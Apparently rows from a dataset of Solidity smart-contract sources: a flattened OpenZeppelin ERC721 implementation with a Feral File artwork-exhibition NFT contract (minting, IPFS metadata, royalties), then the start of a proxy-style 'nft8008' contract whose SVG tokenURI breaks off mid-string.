* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: github/bitmark-inc/feralfile-exhibition-smart-contract/contracts/FeralfileArtworkV2.sol
pragma solidity ^0.8.0;
contract FeralfileExhibitionV2 is ERC721Enumerable, Authorizable, IERC2981 {
using Strings for uint256;
// royalty payout address
address public royaltyPayoutAddress;
// The maximum limit of edition size for each exhibitions
uint256 public immutable maxEditionPerArtwork;
// the basis points of royalty payments for each secondary sales
uint256 public immutable secondarySaleRoyaltyBPS;
// the maximum basis points of royalty payments
uint256 public constant MAX_ROYALITY_BPS = 100_00;
// token base URI
string private _tokenBaseURI;
// contract URI
string private _contractURI;
/// @notice A structure for Feral File artwork
struct Artwork {
string title;
string artistName;
string fingerprint;
uint256 editionSize;
}
struct ArtworkEdition {
uint256 editionID;
string ipfsCID;
}
uint256[] private _allArtworks;
mapping(uint256 => Artwork) public artworks; // artworkID => Artwork
mapping(uint256 => ArtworkEdition) public artworkEditions; // artworkEditionID => ArtworkEdition
mapping(uint256 => uint256[]) internal allArtworkEditions; // artworkID => []ArtworkEditionID
mapping(uint256 => bool) internal registeredBitmarks; // bitmarkID => bool
mapping(string => bool) internal registeredIPFSCIDs; // ipfsCID => bool
constructor(
string memory name_,
string memory symbol_,
uint256 maxEditionPerArtwork_,
uint256 secondarySaleRoyaltyBPS_,
address royaltyPayoutAddress_,
string memory contractURI_,
string memory tokenBaseURI_
) ERC721(name_, symbol_) {
require(
maxEditionPerArtwork_ > 0,
"maxEdition of each artwork in an exhibition needs to be greater than zero"
);
require(
secondarySaleRoyaltyBPS_ <= MAX_ROYALITY_BPS,
"royalty BPS for secondary sales can not be greater than the maximum royalty BPS"
);
require(
royaltyPayoutAddress_ != address(0),
"invalid royalty payout address"
);
maxEditionPerArtwork = maxEditionPerArtwork_;
secondarySaleRoyaltyBPS = secondarySaleRoyaltyBPS_;
royaltyPayoutAddress = royaltyPayoutAddress_;
_contractURI = contractURI_;
_tokenBaseURI = tokenBaseURI_;
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/// @notice Call to create an artwork in the exhibition
/// @param fingerprint - the fingerprint of an artwork
/// @param title - the title of an artwork
/// @param artistName - the artist of an artwork
/// @param editionSize - the maximum edition size of an artwork
function createArtwork(
string memory fingerprint,
string memory title,
string memory artistName,
uint256 editionSize
) external onlyAuthorized {
require(bytes(title).length != 0, "title can not be empty");
require(bytes(artistName).length != 0, "artist can not be empty");
require(bytes(fingerprint).length != 0, "fingerprint can not be empty");
require(editionSize > 0, "edition size needs to be at least 1");
require(
editionSize <= maxEditionPerArtwork,
"artwork edition size exceeds the maximum edition size of the exhibition"
);
uint256 artworkID = uint256(keccak256(abi.encode(fingerprint)));
/// @notice make sure the artwork have not been registered
require(
bytes(artworks[artworkID].fingerprint).length == 0,
"an artwork with the same fingerprint has already registered"
);
Artwork memory artwork = Artwork(
title = title,
artistName = artistName,
fingerprint = fingerprint,
editionSize = editionSize
);
_allArtworks.push(artworkID);
artworks[artworkID] = artwork;
emit NewArtwork(artworkID);
}
/// @notice Return a count of artworks registered in this exhibition
function totalArtworks() public view virtual returns (uint256) {
return _allArtworks.length;
}
/// @notice Return the token identifier for the `index`th artwork
function getArtworkByIndex(uint256 index)
public
view
virtual
returns (uint256)
{
require(
index < totalArtworks(),
"artworks: global index out of bounds"
);
return _allArtworks[index];
}
/// @notice Swap an existent artwork from bitmark to ERC721
/// @param artworkID - the artwork id where the new edition is referenced to
/// @param bitmarkID - the bitmark id of artwork edition before swapped
/// @param editionNumber - the edition number of the artwork edition
/// @param owner - the owner address of the new minted token
/// @param ipfsCID - the IPFS cid for the new token
function swapArtworkFromBitmark(
uint256 artworkID,
uint256 bitmarkID,
uint256 editionNumber,
address owner,
string memory ipfsCID
) external onlyAuthorized {
/// @notice the edition size is not set implies the artwork is not created
require(artworks[artworkID].editionSize > 0, "artwork is not found");
/// @notice The range of editionNumber should be between 0 (AP) ~ artwork.editionSize
require(
editionNumber <= artworks[artworkID].editionSize,
"edition number exceed the edition size of the artwork"
);
require(owner != address(0), "invalid owner address");
require(!registeredBitmarks[bitmarkID], "bitmark id has registered");
require(!registeredIPFSCIDs[ipfsCID], "ipfs id has registered");
uint256 editionID = artworkID + editionNumber;
require(
artworkEditions[editionID].editionID == 0,
"the edition is existent"
);
ArtworkEdition memory edition = ArtworkEdition(
editionID = editionID,
ipfsCID = ipfsCID
);
artworkEditions[editionID] = edition;
allArtworkEditions[artworkID].push(editionID);
registeredBitmarks[bitmarkID] = true;
registeredIPFSCIDs[ipfsCID] = true;
_safeMint(owner, editionID);
emit NewArtworkEdition(owner, artworkID, editionID);
}
/// @notice Update the IPFS cid of an edition to a new value
function updateArtworkEditionIPFSCid(uint256 tokenId, string memory ipfsCID)
external
onlyAuthorized
{
require(_exists(tokenId), "artwork edition is not found");
require(!registeredIPFSCIDs[ipfsCID], "ipfs id has registered");
ArtworkEdition storage edition = artworkEditions[tokenId];
delete registeredIPFSCIDs[edition.ipfsCID];
registeredIPFSCIDs[ipfsCID] = true;
edition.ipfsCID = ipfsCID;
}
/// @notice setRoyaltyPayoutAddress assigns a payout address so
// that we can split the royalty.
/// @param royaltyPayoutAddress_ - the new royalty payout address
function setRoyaltyPayoutAddress(address royaltyPayoutAddress_)
external
onlyAuthorized
{
require(
royaltyPayoutAddress_ != address(0),
"invalid royalty payout address"
);
royaltyPayoutAddress = royaltyPayoutAddress_;
}
/// @notice Return the edition counts for an artwork
function totalEditionOfArtwork(uint256 artworkID)
public
view
returns (uint256)
{
return allArtworkEditions[artworkID].length;
}
/// @notice Return the edition id of an artwork by index
function getArtworkEditionByIndex(uint256 artworkID, uint256 index)
public
view
returns (uint256)
{
require(index < totalEditionOfArtwork(artworkID));
return allArtworkEditions[artworkID][index];
}
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _tokenBaseURI;
if (bytes(baseURI).length == 0) {
baseURI = "ipfs://";
}
return
string(
abi.encodePacked(
baseURI,
artworkEditions[tokenId].ipfsCID,
"/metadata.json"
)
);
}
/// @notice Update the base URI for all tokens
function setTokenBaseURI(string memory baseURI_) external onlyAuthorized {
_tokenBaseURI = baseURI_;
}
/// @notice A URL for the opensea storefront-level metadata
function contractURI() public view returns (string memory) {
return _contractURI;
}
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param tokenId - the NFT asset queried for royalty information
/// @param salePrice - the sale price of the NFT asset specified by tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for salePrice
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
require(
_exists(tokenId),
"ERC2981: query royalty info for nonexistent token"
);
receiver = royaltyPayoutAddress;
royaltyAmount =
(salePrice * secondarySaleRoyaltyBPS) /
MAX_ROYALITY_BPS;
}
event NewArtwork(uint256 indexed artworkID);
event NewArtworkEdition(
address indexed owner,
uint256 indexed artworkID,
uint256 indexed editionID
);
} | True | [
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] |
pragma solidity ^0.8.0;
contract nft8008 {
// Clock8008 will be the base contract with ownership data
// Note: The process of "approving", "transfering" etc should all be done on the base contract
address internal constant base = 0xf2470e641a551D7Dbdf4B8D064Cf208edfB06586;
fallback(bytes calldata) external payable returns (bytes memory) {
(, bytes memory m) = base.call{value: msg.value}(msg.data);
return m;
}
function tokenURI(uint256 tokenId) public pure returns (string memory) {
string[3] memory parts;
parts[
0
] = '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="420x" height="420px" viewBox="0 0 100 100"><style type="text/css">@font-face{font-family:"Share Tech Mono";font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/sharetechmono/v10/J7aHnp1uDWRBEqV98dVQztYldFcLowEF.woff2) format("woff2");unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}text{filter:url(#filter);fill:#fff;font-family:"Share Tech Mono",sans-serif;font-size:20px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{background:#000}.info{color:#fff;font:1em/1 sans-serif;text-align:center}.info a{color:#fff}svg{width:420px;height:420px;display:block;position:relative;overflow:hidden;background:#000}</style> <defs> <filter id="filter"> <feFlood flood-color="black" result="black"/> <feFlood flood-color="red" result="flood1"/> <feFlood flood-color="limegreen" result="flood2"/> <feOffset in="SourceGraphic" dx="3" dy="0" result="off1a"/> <feOffset in="SourceGraphic" dx="2" dy="0" result="off1b"/> <feOffset in="SourceGraphic" dx="-3" dy="0" result="off2a"/> <feOffset in="SourceGraphic" dx="-2" dy="0" result="off2b"/> <feComposite in="flood1" in2="off1a" operator="in" result="comp1"/> <feComposite in="flood2" in2="off2a" operator="in" result="comp2"/> <feMerge x="0" width="100%" result="merge1"> <feMergeNode in="black"/> <feMergeNode in="comp1"/> <feMergeNode in="off1b"/> <animate attributeName="y" id="y" dur="4s" values="104px; 104px; 30px; 105px; 30px; 2px; 2px; 50px; 40px; 105px; 105px; 20px; 60px; 40px; 104px; 40px; 70px; 10px; 30px; 104px; 102px" keyTimes="0; 0.362; 0.368; 0.421; 0.440; 0.477; 0.518; 0.564; 0.593; 0.613; 0.644; 0.693; 0.721; 0.736; 0.772; 0.818; 0.844; 0.894; 0.925; 0.939; 1" repeatCount="indefinite"/> <animate attributeName="height" id="h" dur="4s" values="10px; 0px; 10px; 30px; 50px; 0px; 10px; 0px; 0px; 0px; 10px; 50px; 40px; 0px; 0px; 0px; 40px; 30px; 10px; 0px; 50px" keyTimes="0; 0.362; 0.368; 0.421; 0.440; 0.477; 0.518; 0.564; 0.593; 0.613; 0.644; 0.693; 0.721; 0.736; 0.772; 0.818; 0.844; 0.894; 0.925; 0.939; 1" repeatCount="indefinite"/> </feMerge> <feMerge x="0" width="100%" y="60px" height="65px" result="merge2"> <feMergeNode in="black"/> <feMergeNode in="comp2"/> <feMergeNode in="off2b"/> <animate attributeName="y" id="y" dur="4s" values="103px; 104px; 69px; 53px; 42px; 104px; 78px; 89px; 96px; 100px; 67px; 50px; 96px; 66px; 88px; 42px; 13px; 100px; 100px; 104px;" keyTimes="0; 0.055; 0.100; 0.125; 0.159; 0.182; 0.202; 0.236; 0.268; 0.326; 0.357; 0.400; 0.408; 0.461; 0.493; 0.513; 0.548; 0.577; 0.613; 1" repeatCount="indefinite"/> <animate attributeName="height" id="h" dur="4s" values="0px; 0px; 0px; 16px; 16px; 12px; 12px; 0px; 0px; 5px; 10px; 22px; 33px; 11px; 0px; 0px; 10px" 